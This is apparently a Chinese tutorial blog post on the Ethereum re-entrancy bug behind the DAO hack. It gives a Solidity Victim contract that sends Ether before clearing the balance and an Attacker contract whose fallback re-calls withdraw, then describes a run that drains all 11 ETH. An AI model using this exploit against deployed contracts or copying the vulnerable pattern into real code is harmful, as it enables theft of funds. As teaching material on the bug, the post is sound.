本文介绍一下以太坊非常有名的重入攻击的范例。
鼎鼎大名的DAO攻击就是因为当时他们的智能合约中存在Re-Entrancy这个bug,ETC也是因为这个bug,硬分叉产生出来的链。下面来贴代码。
pragma solidity ^0.4.19; contract Victim { mapping(address => uint) public
userBalannce; uint public amount = 0; function Victim() payable{}
function withDraw(){ uint amount = userBalannce[msg.sender];
if(amount > 0){ msg.sender.call.value(amount)();
userBalannce[msg.sender] = 0; } } function() payable{}
function receiveEther() payable{ if(msg.value > 0){
userBalannce[msg.sender] += msg.value; } } function
showAccount() public returns (uint){ amount = this.balance;
return this.balance; } } contract Attacker{ uint public amount = 0;
uint public test = 0; function Attacker() payable{} function() payable{
test++; Victim(msg.sender).withDraw(); } function
showAccount() public returns (uint){ amount = this.balance;
return this.balance; } function sendMoney(address addr){
Victim(addr).receiveEther.value(1 ether)(); } function reentry(address
addr){ Victim(addr).withDraw(); } }
上图中有两个智能合约,Attacker和Victim。其中Victim合约的withDraw函数有重入的bug(msg.sender.call.value(amount)();)这行。
当Attacker函数调用Victim合约的withDraw函数时(在reentry()函数),
Victim会执行msg.sender.call.value(amount)(); 但是接下来并不是执行userBalannce[msg.sender] =
0;
而是Attacker收到了Ether后,调用了回调函数,在回调函数中,又重新调用了Victim的withdraw。因此形成了一个循环,直至Victim中的Ether被清0.
以上便是Re-Entrancy的大致过程。
接下来执行以下。
1. 我们首先给Attacker账号1ETH的余额,给Victim账号10Eth的余额
2.
调用Attacker的sendMoney函数,让Attacker把自己的1Ether发给Victim。可以看到发送后Attacker的余额为0,而Victim已经有了11Ether。
3.
发动Re-Entrancy攻击,调用reentry函数。执行后发现Victim的11Eth全都到了Attacker的账户中,test的数量为11,说明fallback函数一共被调用了11次。
热门工具 换一换